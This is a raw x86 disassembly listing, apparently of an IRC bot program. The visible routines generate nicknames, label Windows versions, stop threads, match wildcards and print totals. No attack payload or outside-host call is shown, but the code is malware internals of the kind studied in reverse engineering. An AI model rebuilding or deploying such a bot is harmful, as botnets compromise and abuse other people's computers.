		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AD80	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26A0D63h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431250
		push	eax
		push	esi
		nop
		call	near ptr 26D0000h
		movsx	eax, byte_431250
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_40AE09:				; CODE XREF: ___:0040AE14j
		cmp	eax, ecx
		jnz	short loc_40AE10
		mov	[ebp-4], edx

loc_40AE10:				; CODE XREF: ___:0040AE0Bj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AE09
		push	61h
		pop	ecx

loc_40AE19:				; CODE XREF: ___:0040AE24j
		cmp	eax, ecx
		jnz	short loc_40AE20
		mov	[ebp-4], edx

loc_40AE20:				; CODE XREF: ___:0040AE1Bj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AE19
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AE65

loc_40AE3F:				; CODE XREF: ___:0040AE63j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AE3F

loc_40AE65:				; CODE XREF: ___:0040AE3Dj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26A0D63h
		push	eax
		call	sub_41B8D8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26E0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431254
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AEDA

loc_40AEB4:				; CODE XREF: ___:0040AED8j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AEB4

loc_40AEDA:				; CODE XREF: ___:0040AEB2j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_43D128
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26E0605h
		nop
		call	near ptr 26A0D63h
		push	eax
		call	sub_41B8D8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AF64
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF44
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AF34
		mov	esi, offset dword_43127C

loc_40AF34:				; CODE XREF: ___:0040AF2Dj
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AFA0
		mov	esi, offset dword_431278
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF44:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AF54
		mov	esi, offset dword_431274
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF54:				; CODE XREF: ___:0040AF4Bj
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AF9B
		mov	esi, offset dword_431270
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF64:				; CODE XREF: ___:0040AF1Bj
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AF9B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AF7D
		mov	esi, offset dword_43126C
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF7D:				; CODE XREF: ___:0040AF74j
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_40AF8D
		mov	esi, offset dword_431268
		jmp	short loc_40AFA0
; ---------------------------------------------------------------------------

loc_40AF8D:				; CODE XREF: ___:0040AF84j
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset dword_431264
		jz	short loc_40AFA0

loc_40AF9B:				; CODE XREF: ___:0040AF5Bj
					; ___:0040AF6Bj
		mov	esi, offset dword_431260

loc_40AFA0:				; CODE XREF: ___:0040AF3Bj
					; ___:0040AF42j ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_431258
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AFE4

loc_40AFBE:				; CODE XREF: ___:0040AFE2j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AFBE

loc_40AFE4:				; CODE XREF: ___:0040AFBCj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AFEA	proc near		; CODE XREF: sub_40B08D+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 26A0D63h
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40B039
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B022
		mov	eax, offset dword_43D128

loc_40B022:				; CODE XREF: sub_40AFEA+31j
		push	eax
		push	esi
		push	offset dword_431280
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	short loc_40B059
; ---------------------------------------------------------------------------

loc_40B039:				; CODE XREF: sub_40AFEA+22j
		call	dword_4CAF80
		test	eax, eax
		mov	eax, offset dword_431288
		jnz	short loc_40B04D
		mov	eax, offset dword_43D128

loc_40B04D:				; CODE XREF: sub_40AFEA+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_40B059:				; CODE XREF: sub_40AFEA+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41AFE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40B088
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C1E0
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 18h

loc_40B088:				; CODE XREF: sub_40AFEA+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40AFEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B08D	proc near		; CODE XREF: sub_4017ED+7Fp
					; sub_401955+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D58C

loc_40B099:				; CODE XREF: sub_40B08D+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40B0B4
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C070
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B0BE
; ---------------------------------------------------------------------------

loc_40B0B4:				; CODE XREF: sub_40B08D+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al

loc_40B0BE:				; CODE XREF: sub_40B08D+25j
		test	eax, eax
		jnz	short loc_40B0D0
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D604
		jb	short loc_40B099
		jmp	short loc_40B0DE
; ---------------------------------------------------------------------------

loc_40B0D0:				; CODE XREF: sub_40B08D+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D590[eax*4]
		pop	ecx

loc_40B0DE:				; CODE XREF: sub_40B08D+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40B0F1
		push	[ebp+arg_0]
		call	sub_40AFEA
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_40B0F1:				; CODE XREF: sub_40B08D+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40B08D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B0F6	proc near		; CODE XREF: ___:00401599p
					; ___:004015D8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43DCB0

loc_40B0FE:				; CODE XREF: sub_40B0F6+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B112
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4CACB0
		jl	short loc_40B0FE
		jmp	short loc_40B15D
; ---------------------------------------------------------------------------

loc_40B112:				; CODE XREF: sub_40B0F6+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43DCB0[esi]
		push	eax
		call	sub_41B5F0
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43DEB0[esi], eax
		and	dword_43DEB4[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43DEB8[esi], 0
		mov	dword_43DEBC[esi], eax
		and	byte_43DEC8[esi], 0
		pop	esi

loc_40B15D:				; CODE XREF: sub_40B0F6+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B0F6	endp

; ---------------------------------------------------------------------------
byte_40B161	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2989o
		dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
		dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h,	6C858D00h, 0FFFFFFFFh
		dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
		dd 0C4830000h, 90006A14h, 2E4E4FE8h, 555E5F02h,	0EC81EC8Bh
		dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h
		dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h
		dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
		dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
		dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h,	0C68124C4h
		dd 234h, 0B0FE8147h, 7C004CACh,	0C95E5FB0h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B231	proc near		; CODE XREF: sub_401ACD+7BA4p
					; sub_40B2BF+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B2B9
		cmp	esi, 400h
		jge	short loc_40B2B9
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43DEC4[esi]
		lea	edi, dword_43DEC4[esi]
		nop
		call	near ptr 26A0E69h
		cmp	[edi], ebx
		jz	short loc_40B269
		push	1
		pop	ebp

loc_40B269:				; CODE XREF: sub_40B231+33j
		mov	[edi], ebx
		lea	edi, dword_43DEB8[esi]
		mov	dword_43DEB0[esi], ebx
		mov	dword_43DEB4[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B28A
		push	eax
		call	sub_4199C9
		pop	ecx

loc_40B28A:				; CODE XREF: sub_40B231+50j
		mov	[edi], ebx
		lea	edi, dword_43DEBC[esi]
		mov	byte ptr dword_43DCB0[esi], bl
		mov	byte_43DEC8[esi], bl
		push	dword ptr [edi]
		call	dword_4CB00C
		lea	esi, dword_43DEC0[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4CB00C
		mov	[esi], ebx
		pop	edi

loc_40B2B9:				; CODE XREF: sub_40B231+Dj
					; sub_40B231+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B231	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B2BF	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D9p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43DCB0

loc_40B2CB:				; CODE XREF: sub_40B2BF+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B2DC
		push	edi
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B2DC
		inc	ebx

loc_40B2DC:				; CODE XREF: sub_40B2BF+Fj
					; sub_40B2BF+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4CACB0
		jl	short loc_40B2CB
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B2BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2F1	proc near		; CODE XREF: sub_401ACD+418Ep
					; sub_401ACD+42E0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43DEB4

loc_40B305:				; CODE XREF: sub_40B2F1+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B327
		test	edi, edi
		jle	short loc_40B319
		cmp	[esi], edi
		jz	short loc_40B319
		cmp	ebx, edi
		jnz	short loc_40B327

loc_40B319:				; CODE XREF: sub_40B2F1+1Ej
					; sub_40B2F1+22j
		push	ebx
		call	sub_40B231
		test	eax, eax
		pop	ecx
		jz	short loc_40B327
		inc	[ebp+var_4]

loc_40B327:				; CODE XREF: sub_40B2F1+1Aj
					; sub_40B2F1+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4CAEB4
		jl	short loc_40B305
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B2F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B33E	proc near		; CODE XREF: ___:00401630p
					; sub_401ACD+97Ap ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43DEB0

loc_40B345:				; CODE XREF: sub_40B33E+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B34E
		inc	eax

loc_40B34E:				; CODE XREF: sub_40B33E+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B345
		retn
sub_40B33E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B35D	proc near		; CODE XREF: sub_401ACD+2433p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43DEB0

loc_40B367:				; CODE XREF: sub_40B35D+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B380
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4CAEB0
		jl	short loc_40B367
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40B380:				; CODE XREF: sub_40B35D+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B35D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B384	proc near		; CODE XREF: sub_401ACD+1066p
					; sub_401ACD+126Cp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B39D
		push	[ebp+arg_1C]
		call	sub_41B779
		pop	ecx

loc_40B39D:				; CODE XREF: sub_40B384+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B2F1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B3C9
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40B3E3
; ---------------------------------------------------------------------------

loc_40B3C9:				; CODE XREF: sub_40B384+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40B3E3:				; CODE XREF: sub_40B384+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B403
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_40B403:				; CODE XREF: sub_40B384+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		leave
		retn
sub_40B384	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B412	proc near		; CODE XREF: sub_4017ED+159p
					; ___:0040BA47p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43DEC4[eax], ecx
		mov	dword_43DEB0[eax], ecx
		mov	dword_43DEB4[eax], ecx
		mov	dword_43DEB8[eax], ecx
		mov	dword_43DEBC[eax], ecx
		mov	dword_43DEC0[eax], ecx
		mov	byte ptr dword_43DCB0[eax], cl
		mov	byte_43DEC8[eax], cl
		retn
sub_40B412	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B44F	proc near		; CODE XREF: sub_401ACD+7E3Bp
					; sub_40B57D+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax

loc_40B459:				; CODE XREF: sub_40B44F+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B4B9
		cmp	eax, 1
		jnz	short loc_40B4B9
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B4B9
		cmp	cl, 2Ah
		jz	short loc_40B4A0
		cmp	cl, 3Fh
		jz	short loc_40B483
		cmp	cl, 5Bh
		jz	short loc_40B488
		xor	eax, eax
		cmp	cl, dl
		setz	al

loc_40B483:				; CODE XREF: sub_40B44F+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B488:				; CODE XREF: sub_40B44F+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B4E5
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B4B3
; ---------------------------------------------------------------------------

loc_40B4A0:				; CODE XREF: sub_40B44F+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B57D
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi

loc_40B4B3:				; CODE XREF: sub_40B44F+37j
					; sub_40B44F+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B459
; ---------------------------------------------------------------------------

loc_40B4B9:				; CODE XREF: sub_40B44F+Ej
					; sub_40B44F+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B4C9
		cmp	eax, 1
		jnz	short loc_40B4E0
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B4B9
; ---------------------------------------------------------------------------

loc_40B4C9:				; CODE XREF: sub_40B44F+6Dj
		cmp	eax, 1
		jnz	short loc_40B4E0
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B4E0
		cmp	byte ptr [esi],	0
		jnz	short loc_40B4E0
		push	1
		pop	eax
		jmp	short loc_40B4E2
; ---------------------------------------------------------------------------

loc_40B4E0:				; CODE XREF: sub_40B44F+72j
					; sub_40B44F+7Dj ...
		xor	eax, eax

loc_40B4E2:				; CODE XREF: sub_40B44F+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B44F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B4E5	proc near		; CODE XREF: sub_40B44F+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B506
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx

loc_40B506:				; CODE XREF: sub_40B4E5+19j
		push	ebx
		push	esi

loc_40B508:				; CODE XREF: sub_40B4E5+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B516
		cmp	[ebp+var_4], eax
		jnz	short loc_40B562

loc_40B516:				; CODE XREF: sub_40B4E5+2Aj
		test	edi, edi
		jnz	short loc_40B557
		cmp	bl, 2Dh
		jnz	short loc_40B54B
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B54B
		cmp	al, 5Dh
		jz	short loc_40B54B
		cmp	[ebp+var_4], edi
		jnz	short loc_40B54B
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B557
		cmp	bl, al
		jg	short loc_40B557
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B557
; ---------------------------------------------------------------------------

loc_40B54B:				; CODE XREF: sub_40B4E5+38j
					; sub_40B4E5+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B557
		push	1
		pop	edi

loc_40B557:				; CODE XREF: sub_40B4E5+33j
					; sub_40B4E5+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B508
; ---------------------------------------------------------------------------

loc_40B562:				; CODE XREF: sub_40B4E5+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B56F
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx

loc_40B56F:				; CODE XREF: sub_40B4E5+82j
		cmp	edi, eax
		jnz	short loc_40B578
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]

loc_40B578:				; CODE XREF: sub_40B4E5+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B4E5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B57D	proc near		; CODE XREF: sub_40B44F+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx

loc_40B599:				; CODE XREF: sub_40B57D+3Aj
		cmp	[eax], bl
		jz	short loc_40B5B9
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B5AE
		cmp	cl, 2Ah
		jnz	short loc_40B5B9
		cmp	cl, 3Fh
		jnz	short loc_40B5B1

loc_40B5AE:				; CODE XREF: sub_40B57D+25j
		inc	eax
		mov	[edi], eax

loc_40B5B1:				; CODE XREF: sub_40B57D+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B599
; ---------------------------------------------------------------------------

loc_40B5B9:				; CODE XREF: sub_40B57D+1Ej
					; sub_40B57D+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B5C4
		inc	dword ptr [esi]
		jmp	short loc_40B5B9
; ---------------------------------------------------------------------------

loc_40B5C4:				; CODE XREF: sub_40B57D+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B5D6
		xor	eax, eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5D6:				; CODE XREF: sub_40B57D+53j
		cmp	cl, bl
		jnz	short loc_40B5E5
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B5E5
		push	1
		pop	eax
		jmp	short loc_40B645
; ---------------------------------------------------------------------------

loc_40B5E5:				; CODE XREF: sub_40B57D+4Dj
					; sub_40B57D+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B62F

loc_40B5F3:				; CODE XREF: sub_40B57D+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]

loc_40B5F7:				; CODE XREF: sub_40B57D+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B60F
		cmp	cl, 5Bh
		jz	short loc_40B60F
		cmp	dl, bl
		jz	short loc_40B60F
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B5F7
; ---------------------------------------------------------------------------

loc_40B60F:				; CODE XREF: sub_40B57D+82j
					; sub_40B57D+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B626
		push	eax
		push	dword ptr [esi]
		call	sub_40B44F
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B62B
; ---------------------------------------------------------------------------

loc_40B626:				; CODE XREF: sub_40B57D+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax

loc_40B62B:				; CODE XREF: sub_40B57D+A7j
		cmp	eax, ebx
		jnz	short loc_40B5F3

loc_40B62F:				; CODE XREF: sub_40B57D+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B642
		mov	[ebp+var_4], 1

loc_40B642:				; CODE XREF: sub_40B57D+B6j
					; sub_40B57D+BCj
		mov	eax, [ebp+var_4]

loc_40B645:				; CODE XREF: sub_40B57D+57j
					; sub_40B57D+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B57D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B64A	proc near		; CODE XREF: sub_401ACD+2AF5p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_4317A4
		push	eax
		xor	ebx, ebx
		call	sub_41B886
		cmp	dword_431408, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B6BC
		push	esi
		mov	esi, offset dword_431410

loc_40B67D:				; CODE XREF: sub_40B64A+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B6B2
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431798
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		add	esp, 1Ch

loc_40B6B2:				; CODE XREF: sub_40B64A+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B67D
		pop	esi

loc_40B6BC:				; CODE XREF: sub_40B64A+2Bj
		push	dword_4CACB4
		call	sub_41A88B
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41C1E0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B64A	endp


; =============== S U B	R O U T	I N E =======================================

